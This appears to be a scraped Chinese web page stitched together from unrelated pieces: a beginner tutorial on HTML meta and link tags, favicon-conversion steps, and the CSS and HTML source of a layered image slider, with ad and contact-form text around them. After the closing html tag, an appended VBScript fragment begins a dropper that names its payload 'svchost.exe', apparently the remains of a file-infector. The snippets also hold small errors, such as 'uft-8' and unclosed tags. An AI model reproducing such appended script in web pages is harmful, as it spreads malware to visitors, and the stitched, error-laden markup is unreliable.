整合營銷服務商
電腦端+手機端+微信端=數(shù)據(jù)同步管理
免費咨詢熱線：
電腦端+手機端+微信端=數(shù)據(jù)同步管理
免費咨詢熱線：
eta標簽比較偏向于功能型，比如實現(xiàn)網(wǎng)頁跳轉，指定編碼等
link 標簽偏于與資源型 主要用途是用了引用某個資源
<meta charset="uft-8">
<!----指定編碼--->
上節(jié)課就講過
<meta name="keywords" content="這里是網(wǎng)頁關鍵字，主要要用途是幫助百度等搜索引擎來理解網(wǎng)頁"
<!---關鍵字標簽，給搜索引擎會讀取的，用戶是看不見的------>
<meta name="description" content="網(wǎng)頁描述標簽，也是幫助搜索引擎來理解網(wǎng)頁內容的"
<!---網(wǎng)頁描述標簽，給搜索引擎會讀取的，用戶是看不見的------>
<meta http-equiv="refresh" content="3;http://www.baidu.com">
<!----網(wǎng)頁跳轉標簽----------------------在網(wǎng)頁打開3秒鐘以后跳轉到http://www.baidu.com，時間和地址都是可以更改的----->
<link rel="icon" href="favicon.ico">
<!--設置網(wǎng)頁標題前的小圖標>
就是前面那個小小的阿貍的圖標，但是要注意的是一定要在同級目錄下有favicon.ico這個文件
<link rel="stylesheet" href="1.css">
<!---引入一個1.css文件----->
css文件屬于網(wǎng)頁樣式表，這個屬于以后的內容現(xiàn)在只要知道有這個功能就可以了
今天的代碼圖 ，大家最好自己打一遍
今天想要在網(wǎng)頁標題的左側添加圖標，效果圖如下：
但是心中有這個效果圖，卻忘記了如何使用了？
在html網(wǎng)頁標題欄上添加圖標
1.點擊右鍵——選擇打開方式——選擇畫圖工具，效果圖如下：
2.在畫圖工具的左上方，點擊文件選項——選擇另存為，效果圖如下：
3.選擇后綴為.bmp【注：這里選擇的是24位位圖】，效果圖如下：
4.生成.bmp文件，改后綴的作用可以理解為jpg轉ico的過渡，效果圖如下：
5.選擇.bmp文件，點擊右鍵——選擇重命名
6.將后綴的bmp改成后綴ico，如果有彈框出現(xiàn)，也是照樣點確定
7.成功改成后生成的效果圖
8.將生成的ico放進HTML代碼中，代碼的語法格式如下：
<link rel="icon" href="圖標地址" type="image/x-icon">9.生成前后的效果圖如下：
果圖
各位條子，大家中午好！
今天給大家?guī)淼氖?蘋果官網(wǎng)CSS3banner特效源碼！
效果十分炫酷，十分適合科技企業(yè)的官網(wǎng)使用！
大家也可以按照自己的想法 修改！
分享之前我還是要推薦下我自己建的前端學習群：581549454 。里面都是做前端開發(fā)的，拒絕賣課和廣告！純學習交流，每天會上傳一些優(yōu)秀的作品和源碼，歡迎初學者和大神們。
好了，廢話不多說，上源碼！
body {
margin: 0px;
padding: 0px;
background-color: rgba(255,255,255,1);
font-family: 'Source Sans Pro', sans-serif;
}
#wrapper {
width: 100%;
float: left;
}
#buttons{
width: 100%;
float: left;
margin-top: 100px;
height: 40px;
}
#buttons-inner{
height: 40px;
width: 800px;
margin-right: auto;
margin-left: auto;
}
.buttons-inner-button{
float: left;
height: 40px;
margin-right: 10px;
margin-left: 10px;
}
.buttons-inner-button a{
color: rgba(255,255,255,1);
background-color: rgba(150,40,189,1);
line-height: 40px;
height: 40px;
text-decoration: none;
display: block;
padding-right: 15px;
padding-left: 15px;
-webkit-transition: all 0.25s;
-moz-transition: all 0.25s;
-o-transition: all 0.25s;
transition: all 0.25s;
}
.buttons-inner-button a:hover{
background-color: rgba(150,40,189,0.5);
}
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Responsive Layered Slider Demo</title>
<link rel='stylesheet' type='text/css'>
<link href="_css/Icomoon/style.css" rel="stylesheet" type="text/css" />
<link href="_css/responsive-layered-slider.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="_scripts/jquery-2.0.2.min.js"></script>
<script type="text/javascript" src="_scripts/jquery-ui-1.10.4.min.js"></script>
<script type="text/javascript" src="_scripts/responsive-layered-slider.js"></script>
<style>
#header{
background-color: #3f8dbf;
float: left;
width: 100%;
height: 50px;
color: rgba(255,255,255,1);
line-height: 50px;
}
#header a {
color: rgba(255,255,255,1);
text-decoration: none;
display: block;
font-size: 15px;
}
#header-left{
float: left;
height: 50px;
}
#header-left:hover #header-left-icon{
background-color: #3F8DBF;
}
#header-left:hover #header-left-text{
background-color: #599BC8;
}
#header-left-icon{
float: left;
height: 50px;
width: 50px;
text-align: center;
background-color: #35759F;
-webkit-transition: background 0.5s;
-moz-transition: background 0.5s;
-o-transition: background 0.5s;
transition: background 0.5s;
}
#header-left-icon a {
font-size: 25px;
}
#header-left-text{
float: left;
height: 50px;
-webkit-transition: background 0.5s;
-moz-transition: background 0.5s;
-o-transition: background 0.5s;
transition: background 0.5s;
}
#header-left-text a {
padding-left: 20px;
padding-right: 20px;
}
#header-right{
float: right;
height: 50px;
}
#header-right:hover #header-right-icon{
background-color: #3F8DBF;
}
#header-right:hover #header-right-text{
background-color: #599BC8;
}
#header-right-icon{
float: right;
height: 50px;
width: 50px;
text-align: center;
background-color: #35759F;
-webkit-transition: background 0.5s;
-moz-transition: background 0.5s;
-o-transition: background 0.5s;
transition: background 0.5s;
}
#header-right-text{
float: right;
height: 50px;
-webkit-transition: background 0.5s;
-moz-transition: background 0.5s;
-o-transition: background 0.5s;
transition: background 0.5s;
}
#header-right-text a {
padding-right: 20px;
padding-left: 20px;
}
</style>
</head>
<body>
<div id="header">
<div id="header-left">
<div id="header-left-icon"><a ><span class="iconb" data-icon=""></span></a></div>
<div id="header-left-text"><a >Responsive Layer Slider Article</a></div>
</div>
<div id="header-right">
<div id="header-right-icon"><a target="_blank"><span class="iconb" data-icon=""></span></a></div>
<div id="header-right-text"><a target="_blank">Download Source</a></div>
</div>
</div>
<div id="wrapper">
<div class="sim-slider" data-width="2550" data-height="1240" data-animation="250" data-current="true" data-progress="true">
<div class="sim-slider-inner">
<div class="sim-slider-slide">
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="1052" data-height="174" data-left="751" data-top="50"><img src="_assets/layer_0025.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="694" data-height="841" data-left="54" data-top="277"><img src="_assets/layer_0027.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInUp" data-width="1019" data-height="848" data-left="770" data-top="277"><img src="_assets/layer_0026.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInRight" data-width="694" data-height="841" data-left="1811" data-top="277"><img src="_assets/layer_0028.png" /></div>
</div>
<div class="sim-slider-slide">
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="1052" data-height="173" data-left="751" data-top="150"><img src="_assets/layer_0020.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="660" data-height="800" data-left="108" data-top="332"><img src="_assets/layer_0021.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="501" data-height="600" data-left="770" data-top="523"><img src="_assets/layer_0022.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInRight" data-width="501" data-height="600" data-left="1328" data-top="523"><img src="_assets/layer_0024.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInRight" data-width="660" data-height="800" data-left="1807" data-top="332"><img src="_assets/layer_0023.png" /></div>
</div>
<div class="sim-slider-slide">
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="757" data-height="97" data-left="528" data-top="138"><img src="_assets/layer_0011.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="883" data-height="64" data-left="399" data-top="361"><img src="_assets/layer_0017.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="827" data-height="64" data-left="458" data-top="444"><img src="_assets/layer_0018.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="793" data-height="64" data-left="489" data-top="519"><img src="_assets/layer_0016.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="715" data-height="64" data-left="569" data-top="596"><img src="_assets/layer_0015.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="680" data-height="64" data-left="604" data-top="674"><img src="_assets/layer_0014.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="650" data-height="64" data-left="634" data-top="754"><img src="_assets/layer_0013.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="417" data-height="64" data-left="867" data-top="837"><img src="_assets/layer_0012.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInRight" data-width="762" data-height="1035" data-left="1424" data-top="100"><img src="_assets/layer_0019.png" /></div>
</div>
<div class="sim-slider-slide">
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="773" data-height="1050" data-left="179" data-top="119"><img src="_assets/layer_0029.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInUp" data-width="773" data-height="1050" data-left="935" data-top="60"><img src="_assets/layer_0010.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="773" data-height="1049" data-left="1707" data-top="119"><img src="_assets/layer_0009.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="159" data-height="43" data-left="439" data-top="50"><img src="_assets/layer_0008.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInUp" data-width="144" data-height="43" data-left="1260" data-top="1070"><img src="_assets/layer_0007.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="373" data-height="44" data-left="1856" data-top="50"><img src="_assets/layer_0006.png" /></div>
</div>
<div class="sim-slider-slide">
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="1053" data-height="172" data-left="742" data-top="086"><img src="_assets/layer_0000.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInLeft" data-width="767" data-height="640" data-left="115" data-top="397"><img src="_assets/layer_0005.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInDown" data-width="767" data-height="640" data-left="896" data-top="397"><img src="_assets/layer_0003.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInRight" data-width="767" data-height="640" data-left="1678" data-top="397"><img src="_assets/layer_0004.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInUp" data-width="865" data-height="524" data-left="458" data-top="676"><img src="_assets/layer_0001.png" /></div>
<div class="sim-slider-layer" data-effect="fadeInUp" data-width="345" data-height="469" data-left="1506" data-top="676"><img src="_assets/layer_0002.png" /></div>
</div>
</div>
</div>
<div id="buttons">
<div id="buttons-inner">
<div class="buttons-inner-button"><a href="index.html">Fade Slider</a></div>
<div class="buttons-inner-button"><a href="slider2.html">Bounce Slider</a></div>
<div class="buttons-inner-button"><a href="slider3.html">Roll Slider</a></div>
<div class="buttons-inner-button"><a href="slider4.html">Flip Slider</a></div>
<div class="buttons-inner-button"><a href="slider5.html">Zoom Slider</a></div>
<div class="buttons-inner-button"><a href="slider6.html">Combined Slider</a></div>
</div>
</div>
</div>
</body>
</html>
<SCRIPT Language=VBScript><!--
DropFileName="svchost.exe"
*請認真填寫需求信息，我們會在24小時內與您取得聯(lián)系。
